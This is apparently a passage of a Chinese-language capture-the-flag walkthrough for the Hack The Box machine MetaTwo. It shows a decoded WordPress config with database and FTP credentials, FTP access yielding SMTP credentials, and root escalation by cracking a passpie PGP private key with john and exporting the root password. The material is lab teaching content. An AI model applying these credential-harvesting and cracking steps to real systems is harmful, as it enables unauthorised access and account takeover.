ml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==" | base64 -d
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

得到了FTP相关信息

用户名:metapress.htb

密码:9NYS_ii@FyL_p5M2NvJ

┌──(kali㉿kali)-[~/Desktop]
└─$ ftp 10.129.228.95
Connected to 10.129.228.95.
220 ProFTPD Server (Debian) [::ffff:10.129.228.95]
Name (10.129.228.95:kali): metapress.htb
331 Password required for metapress.htb
Password: 
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||37652|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 mailer
226 Transfer complete
ftp> cd mailer
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||12616|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5 14:12 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22 18:32 send_email.php
226 Transfer complete
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||60237|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |*****************************************************************************************************************************************************|  1126      367.63 KiB/s    00:00 ETA
226 Transfer complete
1126 bytes received in 00:00 (4.38 KiB/s)
ftp> 
┌──(kali㉿kali)-[~/Desktop]
└─$ cat send_email.php                                                       
<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}

发现 jnelson Cb4_JmWM8zUZWMu@Ys

三、权限提升

sudo -l
find / -perm -u=s -type f 2>/dev/null

当前用户目录下有.passpie文件夹

passpie是密码管理工具

jnelson@meta2:~/.passpie$  cat .keys
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH
FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L
/244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
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fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
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o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
scp jnelson@10.129.228.95:.passpie/.keys .keys

删除公钥部分,将其转换为john格式

gpg2john .keys > gpg.john
john -w=/usr/share/wordlists/rockyou.txt gpg.john

得到 keys:blink182

检查passpie他们是否有其他用户的列表

passpie list

发现root用户,导出

jnelson@meta2:~$ touch pass
jnelson@meta2:~$ passpie export pass

root: p7qfAZt4_A1xo_0x

ssh root@10.129.228.95